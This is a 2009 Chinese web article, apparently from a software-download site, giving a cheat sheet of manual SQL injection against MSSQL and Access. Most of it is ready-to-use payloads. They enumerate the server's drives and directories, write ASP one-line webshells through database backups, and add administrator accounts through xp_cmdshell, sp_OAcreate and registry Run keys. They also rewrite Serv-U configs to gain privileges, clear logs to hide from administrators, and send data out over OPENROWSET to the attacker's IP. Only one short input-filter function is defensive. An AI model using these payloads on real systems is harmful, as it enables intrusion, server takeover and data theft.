文章导航PC6首页软件下载单机游戏安卓资源苹果资源

pc软件新闻网络操作系统办公工具编程服务器软件评测

安卓新闻资讯应用教程刷机教程安卓游戏攻略tv资讯深度阅读综合安卓评测

苹果ios资讯苹果手机越狱备份教程美化教程ios软件教程mac教程

单机游戏角色扮演即时战略动作射击棋牌游戏体育竞技模拟经营其它游戏游戏工具

网游cf活动dnf活动lol周免英雄lol礼包

手游最新动态手游评测手游活动新游预告手游问答

您的位置:首页技术开发数据库技巧 → 总结SQL手工注入方法

总结SQL手工注入方法

时间:2009/11/6 11:45:00来源:本站整理作者:我要评论(1)

总结SQL手工注入方法以下以省略注入点用URL代替

  --(1) ******查看驱动器方法******

  -- 建表p(i为自动编号,a记录盘符类似"c:\",b记录可用字节,其它省略)

  URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar(255),d nvarchar(255));--

  URL;insert p exec xp_availablemedia;--列出所有驱动器并插入表p

  URL;and (select count(*) from p)>3;--折半法查出驱动器总数

  URL;and ascii(substring((select a from p where i=1),1,1))=67;--折半法查出驱动器名(注asc(c)=67)

  --上面一般用于无显错情况下使用-------以此类推,得到所有驱动器名

  URL;and (select a from p where i=1)>3;--报错得到第一个驱动器名

  --上面一般用于显错情况下使用-------以此类推,得到所有驱动器名

  URL;;drop table p;--删除表p

  --(2) ******查看目录方法******

  URL;create table pa(m nvarchar(255),i nvarchar(255));--建表pa(m记录目录,i记录深度)

  URL;insert pa exec xp_dirtree 'e:';--列出驱动器e并插入表pa

  URL;and (select count(*) from pa where i>0)>-1;--折半法查出i深度

  URL;and (select top 1 m from pa where i=1 and m not in(select top 0 m from pa))>0;--报错得到深度i=1的第一个目录名

  --上面一般用显错且目录名不为数字情况下使用-------(得到第二个目录把"top 0"换为"top 1",换深度只换i就行)以此类推,得到e盘的所有目录

  URL;and len((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)))>0;--折半法查出深度i=1的第一个目录名的长度

  URL;and ascii(substring((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)),1,1))>0;--折半法查出深度i=1的第一个目录名的第一个字符长度

  --上面一般用无显错情况下使用-------(得到第二个目录把"top 0"换为"top 1",换深度只换i就行)以此类推,得到e盘的所有目录

  URL;drop table pa;--删除表pa

  ----------------------------经过上面的方法就可得到服务器所有目录(这里为连接用户有读取权限目录)-----------------

  --(3) 数据库备份到Web目录(先拿个WebShell再说吧 注:此为SQL Server2000)

  URL;alter database employ_ set RECOVERY FULL;--把当前库L设置成日志完全恢复模式

  URL;URL;create table s(l image);--建表s

  URL;backup log s to disk = 'c:cmd' with init;--减少备分数据的大小

  URL;URL;insert s values('<%execute(request("a"))%>')--在表s中插入一句话马

  URL;backup log hh to disk = 'e:\web\g.asp';--备分日志到WEB路径

  URL;drop table s;--删除表s

  URL;alter database hh set RECOVERY SIMPLE;--把SQL设置成日志简单恢复模式

  --------------------------------------OK到此WebShell应该到手了-----------------------------------------------

  --(4) 以下为一些注入杂项

  ----SA权限:

  URL;exec aster.dbo.sp_addlogin hacker;--添加SQL用户

  URL;exec master.dbo.sp_password null,hacker,hacker;--设置SQL帐号hacker 的密码为 hacker

  RL;exec master.dbo.sp_addsrvrolemember sysadmin hacker;--加hacker进sysadmin管理组

  URL;exec master.dbo.xp_cmdshell 'net user hacker hacker /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--建立一个系统用hacker 并设置其密码为hacker

  URL;exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add';--hacker加入到管理员组

  ----SQL Server2005暴库、表、段法(前提有显错、无显错用折半法)

  URL and 0<(select count(*) from master.dbo.sysdatabases);--折半法得到数据库个数

  URL and 0<(select count(*) from master.dbo.sysdatabases where name>1 and dbid=1);--

  --依次提交 dbid = 2.3.4... 得到更多的数据库名

  URL and 0<(select count(*) name from employ.dbo.sysobjects where xtype='U');--折半法得到表个数(假设暴出库名employ)

  URL and 0<(select top 1 name from employ.dbo.sysobjects where xtype='U')

  -- 假设暴出表名为"employ_qj"则在上面语句上加条件 and name not in ('employ_qj' 以此一直加条件....

  URL and 0<(select top 1 name from syscolumns where id in (select id from sysobjects where type = 'u' and name = 'employ_qj'));--

  --假设暴出字段名为"id"则在上面语句上加上条件 and name not is('id') 以此一直加条件....

  ---------------------按上面方法库、表、段的名称都可以得到----用以上方法可以得到段段里的数据--------------------

  select * from master.dbo.sysdatabases                 --查询数据库

  select * from NetBook.dbo.sysobjects where xtype='u'    --查询数据库NetBook里的表

  select * from NetBook.dbo.syscolumns where id=object_id('book')   --查询book表里的字段

  ---------------------------------------------------------------------------------------------------------------

  ---------------------------------------SQL扩展沙盘提权-----------------------------------

  看来xp_cmdshell是不能用鸟~ 不过偶们还有SP_OAcreate可以用 用SP_OAcreate一样可以执行系统命令

  在查询分析器里执行

  DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD

  @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user gydyhook hook /add'

  这段代码就是利用SP_OAcreate来添加一个gydyhook的系统用户 然后直接提升为管理员权限就OK了

  提示命令完成成功

  直接写

  个一句话进去

  语句如下

  exec master.dbo.xp_subdirs 'd:\web\www.xx.com';

  exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '

  提示命令执行成功偶们看看效果

  查询分析器里执行select * from openrowset('microsoft.jet.oledb.4.0','

  ;database=c:\windows\system32\ias\ias.mdb',

  'select shell("cmd.exe /c net user admin admin1234 /add")')来利用沙盘来添加个管理员 但是事实告诉

  我 我的RP并不好

  嘿嘿 使用declare @o int, @f int, @t int, @ret int

  declare @line varchar(8000)

  exec sp_oacreate 'scripting.filesystemobject', @o out

  exec sp_oamethod @o, 'opentextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1

  exec @ret = sp_oamethod @f, 'readline', @line out

  while( @ret = 0 )

  begin

  print @line

  exec @ret = sp_oamethod @f, 'readline', @line out

  end

  这段代码就可以把ServUDaemon.ini里的配置信息全部显示出来 嘿嘿 既然能看了那偶门不是一样可以写进去?

  直接写一个系统权限的FTP帐号 进去

  使用declare @o int, @f int, @t int, @ret int

  exec sp_oacreate 'scripting.filesystemobject', @o out

  exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1

  exec @ret = sp_oamethod @f, 'writeline', NULL, 《这里添写自己写好的SU配置信息 刚才复制的那些都要

  写上去》

  然后执行一下 成功执行 我们再用存储过程看看写进去没有

  OK 我XXXXXX 成功写进去了一个用户名为XXXX密码为空的系统权限的FTP 然后偶们在FTP里执行

  quote siteXXXXXXX 提权就好了。 这里已经很熟悉了 就不写了。~ 然后用3389连一下 成功地到服务器权限

  然后偶们再用set nocount on

  declare @logicalfilename sysname,

  @maxminutes int,

  @newsize int 来清理掉SQL日志 免的被管理员发现

  ------

  DECLARE @cmd INT EXEC sp_oacreate &apos;wscript.shell&apos;,@cmd output

  EXEC sp_oamethod @cmd,&apos;run&apos;,null,&apos;cmd.exe /c net user renwoxin$Content$nbsp;test /add&a

  ------------------------------MSSQL db_owner注入利用xp_regwrite获得系统权限---------------------------------------

  xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','xwq1','REG_SZ','net user h86$ hacker /add'

  呵呵,返回一个正常页面,说明成功完成拉,再在注射点输入

  xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','xwq2','REG_SZ','net localgroup administrators h86$ /add'

  ---------------------------------------------------------------------------------------------

  简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;

  如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。

  -------------------------------------------备份一句话木马----------------------------------------

  日志备分WEBSHELL标准的七步:

  1.InjectionURL';alter database XXX set RECOVERY FULL-- (把SQL设置成日志完全恢复模式)

  2.InjectionURL';create table cmd (a image)-- (新建立一个cmd表)

  3.InjectionURL';backup log XXX to disk = 'c:cmd' with init-- (减少备分数据的大小)

  4.InjectionURL';insert into cmd (a) values ('<%%25eval(request("a")):response.end%%25>')-- (插入一句话木马)

  5.InjectionURL';backup log XXX to disk = 'd:chinakmtest.asp'-- (备分日志到WEB路径)

  6.InjectionURL';drop table cmd-- (删除新建的cmd表)

  7.InjectionURL';alter database XXX set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式)

  注:InjectionURL是注入点,XXX是数据库名称.

  数据库差异备份代码:

  BACKUP/**/LOG/**/peihua/**/WITH/**/NO_LOG/**/DBCC/**/SHRINKDATABASE(peihua)--

  dump/**/transaction/**/peihua/**/with/**/no_log--

  0.dump transaction 数据库名 with no_log 清空日志

  1、create table [dbo].[jm_tmp] ([cmd] [image])-- 创建一个表

  2、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0X6A006D00640063007700 backup database @a to disk = @s --备份数据库,@s为备份名称(jmdcw的16进制转换)

  3、insert into [jm_tmp](cmd) values(0x3C2565786563757465287265717565737428226C222929253E)--将一句话木马 "<%execute(request("l"))%>"的16进制字符插入到表中

  4、declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s='C:Program FilesCommon FilesMicrosoft SharedWeb Server Extensions40isapihsqq.asp' backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT --对数据库实行差异备份,备份的保存路径暂定为C盘目录,文件名为hsqq.asp。

  5、drop table [jm_tmp]-- 删除此表。

  ---------------------------------------------------防--------------------------------------------

  Function SafeRequest(ParaName,ParaType)

  '--- 传入参数 ---

  'ParaName:参数名称-字符型

  'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)

  Dim Paravalue

  Paravalue=Request(ParaName)

  If ParaType=1 then

  If not isNumeric(Paravalue) then

  Response.write "参数" & ParaName & "必须为数字型!"

  Response.end

  End if

  Else

  Paravalue=replace(Paravalue,"'","''")

  End if

  SafeRequest=Paravalue

  End function

  -- 绕过单引号继续注入

  URL;declare @cmd sysname select @cmd=这里为你要执行命令的16进制 exec master.dbo.xp_cmdshell @cmd;--

  --先声明一个变量cmd,然后把我们的指令赋值给cmd

  --sql server 2005下开启xp_cmdshell的办法

  EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

  --SQL2005开启'OPENROWSET'支持的方法:

  exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

  --SQL2005开启'sp_oacreate'支持的方法:

  exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

  在db权限并且分离获取mssql数据库服务器ip的方法

  1.本地nc监听 nc -vvlp 80

  2.;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80; ', 'select * from dest_table') select * from src_table;--

  ---------------------------------以下为检测方法---------------------------------

  --检测可否注入

  =============================================================================

  URL and 1=1;--正常页面

  URL and 1=2;--出错页面

  =============================================================================

  --检测数据库的

  =============================================================================

  URL and (select count(*) from sysobjects)>0;--返回正常sql server

  URL and (select count(*) from msysobjects)>0;--返回正常Access

  =============================================================================

  --检测路径的

  =============================================================================

  URL and (select count(*) from master.dbo.sysdatabases where name>0 and dbid=6)>0;--

  =============================================================================

  --检测表段的

  =============================================================================

  URL and exists (select * from admin);--

  =============================================================================

  --检测字段的

  =============================================================================

  URL and exists (select username from admin) ;--

  =============================================================================

  --检测ID

  =============================================================================

  URL and exists (select id from admin where ID=1) ;--

  =============================================================================

  --检测长度的

  =============================================================================

  URL and exists (select id from admin where len(username)=5 and ID=1);--

  =============================================================================

  --检测是否为MSSQL数据库

  =============================================================================

  URL and exists (select * from sysobjects) ;--

  =============================================================================

  --检测是否为英文 ;--

  =============================================================================

  URL and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1);-- ACCESS数据库

  URL and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1) ;--MSSQL数据库

  =============================================================================

  --检测英文的范围

  =============================================================================

  URL and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1);--ACCESS数据库

  URL and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1);--MSSQL数据库

  =============================================================================

  --检测那个字符

  =============================================================================

  URL and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1);--ACCESS数据库

  URL and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1);--MSSQL数据库

相关视频

    没有数据

相关阅读 Mac OS X 系统上如何升级 Mysql 数据库?PLSQL Developer怎么导出数据库PLSQL Developer配置Oralce11g连接plsql developer怎么使用 plsql developer使用教程plsql developer怎么连接数据库 plsql developer连接数据库教程SQL2008全部数据导出导入两种方法mysql数据库root密码忘记的修改方法SQL报表错误“未能为SSL/TLS安全通道建立信任关系”解决方法

文章评论
发表评论

热门文章 没有查询到任何记录。

最新文章 mssql企业管理器不能打 Oracle PRKC-1002错误原因和解决方案SQL SERVER数据库日志清空图文教程win2003计算机改名后sql server 2005 本地复DB2错误信息码大全

人气排行 彻底解决mysql中文乱码的办法mysql数据库root密码忘记的修改方法SQL SERVER数据库日志清空图文教程.bak备份文件如何恢复Oracle PRKC-1002错误原因和解决方案Oracle错误代码大全如何将txt的文本数据导入SQL server 2005呢DB2错误信息码大全